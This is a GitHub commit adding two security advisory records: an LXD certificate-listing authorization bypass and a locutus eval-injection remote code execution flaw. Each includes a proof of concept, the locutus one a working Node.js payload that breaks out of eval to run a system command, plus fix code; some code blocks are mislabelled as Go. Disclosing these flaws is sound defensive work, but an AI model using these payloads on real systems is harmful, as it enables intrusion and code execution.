Skip to content

Commit 9e91c7e

Browse files
1 parent 0b3c2e6 commit 9e91c7e

2 files changed

Lines changed: 137 additions & 0 deletions

File tree

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-crmg-9m86-636r",
4+
"modified": "2026-03-04T20:18:56Z",
5+
"published": "2026-03-04T20:18:56Z",
6+
"aliases": [
7+
"CVE-2026-3351"
8+
],
9+
"summary": "lxd's non-recursive certificate listing bypasses per-object authorization and leaks all fingerprints",
10+
"details": "## Summary\nThe `GET /1.0/certificates` endpoint (non-recursive mode) returns URLs containing fingerprints for all certificates in the trust store, bypassing the per-object `can_view` authorization check that is correctly applied in the recursive path. Any authenticated identity — including restricted, non-admin users — can enumerate all certificate fingerprints, exposing the full set of trusted identities in the LXD deployment.\n\n## Affected Component\n- `lxd/certificates.go` — `certificatesGet` (lines 185–192) — Non-recursive code path returns unfiltered certificate list.\n\n## CWE\n- **CWE-862**: Missing Authorization\n\n## Description\n\n### Core vulnerability: missing permission filter in non-recursive listing path\n\nThe `certificatesGet` handler obtains a permission checker at line 143 and correctly applies it when building the recursive response (lines 163-176). However, the non-recursive code path at lines 185-192 creates a fresh loop over the unfiltered `baseCerts` slice, completely bypassing the authorization check:\n\n```go\n// lxd/certificates.go:139-193\nfunc certificatesGet(d *Daemon, r *http.Request) response.Response {\n recursion := util.IsRecursionRequest(r)\n s := d.State()\n\n userHasPermission, err := s.Authorizer.GetPermissionChecker(r.Context(), auth.EntitlementCanView, entity.TypeCertificate)\n // ...\n\n for _, baseCert := range baseCerts {\n if !userHasPermission(entity.CertificateURL(baseCert.Fingerprint)) {\n continue // Correctly filters unauthorized certs\n }\n\n if recursion {\n // ... builds filtered certResponses ...\n }\n // NOTE: when !recursion, nothing is recorded — the filter result is discarded\n }\n\n if !recursion {\n body := []string{}\n for _, baseCert := range baseCerts { // <-- iterates UNFILTERED baseCerts\n certificateURL := api.NewURL().Path(version.APIVersion, \"certificates\", baseCert.Fingerprint).String()\n body = append(body, certificateURL)\n }\n return response.SyncResponse(true, body) // Returns ALL certificate fingerprints\n }\n\n return response.SyncResponse(true, certResponses) // Recursive path is correctly filtered\n}\n```\n\n### Inconsistency with other list endpoints confirms the bug\n\nFive other list endpoints in the same codebase correctly filter results in both recursive and non-recursive paths:\n\n| Endpoint | File | Filters non-recursive? |\n|----------|------|----------------------|\n| Instances | `lxd/instances_get.go` — `instancesGet` | Yes — filters before either path |\n| Images | `lxd/images.go` — `doImagesGet` | Yes — checks `hasPermission` for both paths |\n| Networks | `lxd/networks.go` — `networksGet` | Yes — filters outside recursion check |\n| Profiles | `lxd/profiles.go` — `profilesGet` | Yes — separate filter in non-recursive path |\n| **Certificates** | **`lxd/certificates.go` — `certificatesGet`** | **No — unfiltered** |\n\nThe certificates endpoint is the sole outlier, confirming this is an oversight rather than a design choice.\n\n### Access handler provides no defense\n\nThe endpoint uses `allowAuthenticated` as its `AccessHandler` (`certificates.go:45`), which only checks `requestor.IsTrusted()`:\n\n```go\n// lxd/daemon.go:255-267\n// allowAuthenticated is an AccessHandler which allows only authenticated requests.\n// This should be used in conjunction with further access control within the handler\n// (e.g. to filter resources the user is able to view/edit).\nfunc allowAuthenticated(_ *Daemon, r *http.Request) response.Response {\n requestor, err := request.GetRequestor(r.Context())\n // ...\n if requestor.IsTrusted() {\n return response.EmptySyncResponse\n }\n return response.Forbidden(nil)\n}\n```\n\nThe comment explicitly states that `allowAuthenticated` should be \"used in conjunction with further access control within the handler\" — which the non-recursive path fails to do.\n\n### Execution chain\n\n1. Restricted authenticated user sends `GET /1.0/certificates` (no `recursion` parameter)\n2. `allowAuthenticated` access handler passes because user is trusted (`daemon.go:263`)\n3. `certificatesGet` creates permission checker for `EntitlementCanView` on `TypeCertificate` (line 143)\n4. Loop at lines 163-176 filters `baseCerts` by permission — but only populates `certResponses` for recursive mode\n5. Since `!recursion`, control reaches lines 185-192\n6. New loop iterates ALL `baseCerts` (unfiltered) and builds URL list with fingerprints\n7. Full list of certificate fingerprints returned to restricted user\n\n## Proof of Concept\n\n```bash\n# Preconditions: restricted (non-admin) trusted client certificate\nHOST=target.example\nPORT=8443\n\n# 1) Non-recursive list: returns ALL certificate fingerprints (UNFILTERED)\ncurl -sk --cert restricted.crt --key restricted.key \\\n \"https://${HOST}:${PORT}/1.0/certificates\" | jq '.metadata | length'\n\n# 2) Recursive list: returns only authorized certificates (FILTERED)\ncurl -sk --cert restricted.crt --key restricted.key \\\n \"https://${HOST}:${PORT}/1.0/certificates?recursion=1\" | jq '.metadata | length'\n\n# Expected: (1) returns MORE fingerprints than (2), proving the authorization bypass.\n# The difference reveals fingerprints of certificates the restricted user should not see.\n```\n\n## Impact\n\n- **Identity enumeration**: A restricted user can discover the fingerprints of all trusted certificates, revealing the complete set of identities in the LXD trust store.\n- **Reconnaissance for targeted attacks**: Fingerprints identify specific certificates used for inter-cluster communication, admin access, and other privileged operations.\n- **RBAC bypass**: In deployments using fine-grained RBAC (OpenFGA or built-in TLS authorization), the non-recursive path completely bypasses the intended per-object visibility controls.\n- **Information asymmetry**: Restricted users gain knowledge of the full trust topology, which the administrator explicitly intended to hide via per-certificate `can_view` entitlements.\n\n## Recommended Remediation\n\n### Option 1: Apply the permission filter to the non-recursive path (preferred)\n\nReplace the unfiltered loop with one that checks `userHasPermission`, matching the pattern used in the recursive path and in all other list endpoints:\n\n```go\n// lxd/certificates.go — replace lines 185-192\nif !recursion {\n body := []string{}\n for _, baseCert := range baseCerts {\n if !userHasPermission(entity.CertificateURL(baseCert.Fingerprint)) {\n continue\n }\n certificateURL := api.NewURL().Path(version.APIVersion, \"certificates\", baseCert.Fingerprint).String()\n body = append(body, certificateURL)\n }\n return response.SyncResponse(true, body)\n}\n```\n\n### Option 2: Build both response types in a single filtered loop\n\nRestructure the function to build both the URL list and the recursive response in the same permission-checked loop, eliminating the possibility of divergent filtering:\n\n```go\nerr = d.State().DB.Cluster.Transaction(r.Context(), func(ctx context.Context, tx *db.ClusterTx) error {\n baseCerts, err = dbCluster.GetCertificates(ctx, tx.Tx())\n if err != nil {\n return err\n }\n\n certResponses = make([]*api.Certificate, 0, len(baseCerts))\n certURLs = make([]string, 0, len(baseCerts))\n for _, baseCert := range baseCerts {\n if !userHasPermission(entity.CertificateURL(baseCert.Fingerprint)) {\n continue\n }\n\n certURLs = append(certURLs, api.NewURL().Path(version.APIVersion, \"certificates\", baseCert.Fingerprint).String())\n\n if recursion {\n apiCert, err := baseCert.ToAPI(ctx, tx.Tx())\n if err != nil {\n return err\n }\n certResponses = append(certResponses, apiCert)\n urlToCertificate[entity.CertificateURL(apiCert.Fingerprint)] = apiCert\n }\n }\n return nil\n})\n```\n\nOption 2 is structurally safer as it prevents the two paths from diverging in the future.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/canonical/lxd"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.0.0-20260224152359-d936c90d47cf"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/canonical/lxd/security/advisories/GHSA-crmg-9m86-636r"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3351"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/canonical/lxd/pull/17738"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/canonical/lxd/commit/d936c90d47cf0be1e9757df897f769e9887ebde1"
54+
},
55+
{
56+
"type": "PACKAGE",
57+
"url": "https://github.com/canonical/lxd"
58+
}
59+
],
60+
"database_specific": {
61+
"cwe_ids": [
62+
"CWE-862"
63+
],
64+
"severity": "MODERATE",
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2026-03-04T20:18:56Z",
67+
"nvd_published_at": "2026-03-03T13:16:21Z"
68+
}
69+
}
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-fp25-p6mj-qqg6",
4+
"modified": "2026-03-04T20:19:55Z",
5+
"published": "2026-03-04T20:19:55Z",
6+
"aliases": [
7+
"CVE-2026-29091"
8+
],
9+
"summary": "locutus call_user_func_array vulnerable to Remote Code Execution (RCE) due to Code Injection",
10+
"details": "### Details\n\nA Remote Code Execution (RCE) flaw was discovered in the `locutus` project (v2.0.39), specifically within the `call_user_func_array` function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the `call_user_func_array` function (and its wrapper `call_user_func`), which fails to properly validate all components of a callback array before passing them to `eval()`.\n\n------\n\n### Technical Details\n\nThe vulnerability is in the `call_user_func_array` function in `src/php/funchand/call_user_func_array.js`, between lines 31 and 35 of version 2.0.39. This function mimics PHP's dynamic function call feature and accepts a callback argument, which can be a string (function name) or an array (class and method name).\n\nThe developers applied a regular expression check (`validJSFunctionNamePattern`) to the first array element (the class identifier), but not to the second element (the method identifier). As a result, the code inserts the user-supplied method name directly into the evaluation string: `func = eval(cb[0] + \"['\" + cb[1] + \"']\")`. This oversight allows an attacker to craft a payload in the second element that escapes the property access context, injects arbitrary JavaScript commands, and executes them with the full privileges of the Node.js process.\n\n``````javascript\n// src/php/funchand/call_user_func_array.js (Lines 31-35)\n\nif (cb[0].match(validJSFunctionNamePattern)) {\n // biome-ignore lint/security/noGlobalEval: needed for PHP port\n func = eval(cb[0] + \"['\" + cb[1] + \"']\")\n}\n``````\n\n-----\n\n### PoC\n\nThis PoC loads the vulnerable call_user_func_array implementation from Locutus and supplies a crafted callback argument that breaks out of the internal eval. The injected payload executes a system command and forces the function to fail validation, causing the command output to surface in the error message.\n\n``````go\nconst path = require(\"path\");\nconst fs = require(\"fs\");\n\nconst vulnFilePath = path.resolve(\n __dirname,\n \"./src/php/funchand/call_user_func_array.js\"\n);\n\nif (!fs.existsSync(vulnFilePath)) {\n console.error(\"error target file not found\");\n process.exit(1);\n}\n\nconsole.log(\"loading target\");\nconst call_user_func_array = require(vulnFilePath);\n\nconst payload = \"']; require('child_process').execSync('id').toString().trim(); //\";\n\nconsole.log(\"payload set\");\n\ntry {\n console.log(\"run\");\n call_user_func_array([\"Date\", payload], []);\n console.log(\"fail no error\");\n} catch (e) {\n const msg = e.message;\n if (msg && msg.includes(\"uid=\")) {\n console.log(\"pwn\");\n const proof = msg.split(\" is not a valid function\")[0];\n console.log(\"out \" + proof);\n } else {\n console.error(\"fail unexpected\");\n console.error(msg);\n process.exit(1);\n }\n}\n``````\n\n-----\n\n### Impact\n\nIf exploited, this issue allows attackers to execute arbitrary JavaScript code in the Node.js process. It occurs when applications pass untrusted array callbacks to call_user_func_array(), a practice common in JSON-RPC setups and PHP-to-JavaScript porting layers. Since the library fails to properly sanitize inputs, this is considered a supplier defect rather than an integration error.\n\nThis flaw has been exploited in practice, but it is not a \"drive-by\" vulnerability. It only arises when an application serves as a gateway or router using Locutus functions.\n\nFinally, if an attacker can control `cb[0]` without regex constraints, they could use `global` or `process` directly. However, Locutus protects `cb[0]`. This `cb[1]` injection is the *_only_* way to bypass the intended security controls of the library. It is a \"bypass\" of the library's own protection.\n\n------\n\n### Remediation\n\nUpdate the loop to capture the value correctly or use the index to reference the slice directly.\n\n``````go\n// src/php/funchand/call_user_func_array.js (Lines 31-35)\n\nif (typeof cb[0] === \"string\") {\n if (cb[0].match(validJSFunctionNamePattern)) {\n // biome-ignore lint/security/noGlobalEval: needed for PHP port\n // func = eval(cb[0] + \"['\" + cb[1] + \"']\");\n var obj = null;\n try {\n obj = eval(cb[0]);\n } catch (e) {}\n if (obj && typeof obj[cb[1]] === \"function\") {\n func = obj[cb[1]];\n }\n }\n} else {\n func = cb[0][cb[1]];\n}\nreturn func.apply(null, parameters);\n``````\n\nAnd maybe after a better remediations is refactor `call_user_func_array` to resolve global objects using `global[cb[0]]` or `window[cb[0]]`.\n\n----\n\n### Resources\nhttps://cwe.mitre.org/data/definitions/95.html\n\nhttps://github.com/locutusjs/locutus/blob/main/src/php/funchand/call_user_func_array.js#L31\n\nhttps://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!\n\n-----\n\n**Author**: Tomas Illuminati",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "locutus"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "3.0.0"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 2.0.39"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/locutusjs/locutus/security/advisories/GHSA-fp25-p6mj-qqg6"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/locutusjs/locutus"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://github.com/locutusjs/locutus/blob/main/src/php/funchand/call_user_func_array.js#L31"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-95"
62+
],
63+
"severity": "HIGH",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-03-04T20:19:55Z",
66+
"nvd_published_at": null
67+
}
68+
}

0 commit comments

Comments
 (0)